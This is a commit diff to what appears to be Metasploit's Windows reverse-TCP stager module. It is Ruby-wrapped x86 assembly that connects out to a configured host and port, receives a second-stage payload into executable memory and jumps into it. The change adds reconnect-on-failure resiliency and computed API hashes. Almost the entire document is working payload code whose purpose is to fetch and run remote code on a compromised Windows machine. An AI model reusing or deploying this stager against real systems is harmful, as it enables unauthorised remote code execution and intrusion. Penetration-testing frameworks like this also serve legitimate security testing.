reverse_tcp 32 bit stager resiliency
parent
3c16f8d4f0
commit
cf8bbbfa3d
|
@ -76,11 +76,11 @@ module Payload::Windows::ReverseTcp
|
|||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
# EXITFUNK processing only seems to add 8 bytes on top of the default
|
||||
space += 8
|
||||
|
||||
# Reliability adds 10 bytes for recv error checks
|
||||
space += 10
|
||||
# Reliability adds some bytes!
|
||||
space += 41
|
||||
|
||||
space += uuid_required_size if include_send_uuid
|
||||
|
||||
|
@ -108,49 +108,51 @@ module Payload::Windows::ReverseTcp
|
|||
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
|
||||
|
||||
reverse_tcp:
|
||||
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 0x5F327377 ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.
|
||||
push 'ws2_' ; ...
|
||||
push esp ; Push a pointer to the "ws2_32" string on the stack.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call ebp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
create_socket:
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
|
||||
sub esp, eax ; alloc some space for the WSAData structure
|
||||
push esp ; push a pointer to this stuct
|
||||
push eax ; push the wVersionRequested parameter
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
|
||||
call ebp ; WSAStartup( 0x0190, &WSAData );
|
||||
|
||||
set_address:
|
||||
push #{retry_count} ; retry counter
|
||||
push #{encoded_host} ; host in little-endian format
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
push #{retry_count} ; retry counter
|
||||
|
||||
create_socket:
|
||||
push #{encoded_host} ; host in little-endian format
|
||||
push #{encoded_port} ; family AF_INET and port number
|
||||
mov esi, esp ; save pointer to sockaddr struct
|
||||
|
||||
push eax ; if we succeed, eax will be zero, push zero for the flags param.
|
||||
push eax ; push null for reserved parameter
|
||||
push eax ; we do not specify a WSAPROTOCOL_INFO structure
|
||||
push eax ; we do not specify a protocol
|
||||
inc eax ;
|
||||
push eax ; push SOCK_STREAM
|
||||
inc eax ;
|
||||
push eax ; push AF_INET
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
|
||||
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
|
||||
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
|
||||
|
||||
try_connect:
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
push 16 ; length of the sockaddr struct
|
||||
push esi ; pointer to the sockaddr struct
|
||||
push edi ; the socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
|
||||
call ebp ; connect( s, &sockaddr, 16 );
|
||||
|
||||
test eax,eax ; non-zero means a failure
|
||||
test eax,eax ; non-zero means a failure
|
||||
jz connected
|
||||
|
||||
handle_failure:
|
||||
handle_connect_failure:
|
||||
; decrement our attempt count and try again
|
||||
dec dword [esi+8]
|
||||
jnz try_connect
|
||||
^
|
||||
|
@ -163,82 +165,96 @@ module Payload::Windows::ReverseTcp
|
|||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call ebp
|
||||
^
|
||||
end
|
||||
# TODO: Rewind the stack, free memory, try again
|
||||
=begin
|
||||
if opts[:reliable]
|
||||
asm << %Q^
|
||||
reconnect:
|
||||
|
||||
^
|
||||
end
|
||||
=end
|
||||
|
||||
asm << %Q^
|
||||
; this lable is required so that reconnect attempts include
|
||||
; the UUID stuff if required.
|
||||
connected:
|
||||
^
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
push 0 ; flags
|
||||
push 4 ; length = sizeof( DWORD );
|
||||
push esi ; the 4 byte buffer on the stack to hold the second stage length
|
||||
push edi ; the saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call ebp ; recv( s, &dwLength, 4, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
# TODO: Try again by jmping to reconnect
|
||||
if reliable
|
||||
asm << %Q^
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more: ;
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" )
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
# Check for a failed recv() call
|
||||
# TODO: Try again by jmping to reconnect
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jle failure
|
||||
jle handle_connect_failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
; Alloc a RWX buffer for the second stage
|
||||
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
push 0x1000 ; MEM_COMMIT
|
||||
push esi ; push the newly recieved second stage length.
|
||||
push 0 ; NULL as we dont care where the allocation is.
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
; Receive the second stage and execute it...
|
||||
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||
push ebx ; push the address of the new stage so we can return into it
|
||||
|
||||
read_more:
|
||||
push 0 ; flags
|
||||
push esi ; length
|
||||
push ebx ; the current address into our second stage's RWX buffer
|
||||
push edi ; the saved socket
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
|
||||
call ebp ; recv( s, buffer, length, 0 );
|
||||
^
|
||||
|
||||
if reliable
|
||||
asm << %Q^
|
||||
; reliability: check to see if the recv worked, and reconnect
|
||||
; if it fails
|
||||
cmp eax, 0
|
||||
jge read_successful
|
||||
|
||||
; something failed, free up memory
|
||||
pop eax ; get the address of the payload
|
||||
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
|
||||
push 0 ; dwSize
|
||||
push eax ; lpAddress
|
||||
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
|
||||
call ebp ; VirtualFree(payload, 0, MEM_DECOMMIT)
|
||||
|
||||
; clear up the socket
|
||||
push edi ; socket handle
|
||||
push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
|
||||
call ebp ; closesocket(socket)
|
||||
|
||||
; restore the stack back to the connection retry count
|
||||
pop esi
|
||||
pop esi
|
||||
|
||||
; try again
|
||||
jmp create_socket
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
read_successful:
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
sub esi, eax ; length -= bytes_received, will set flags
|
||||
jnz read_more ; continue if we have more to read
|
||||
ret ; return into the second stage
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
|
|
Loading…
Reference in New Issue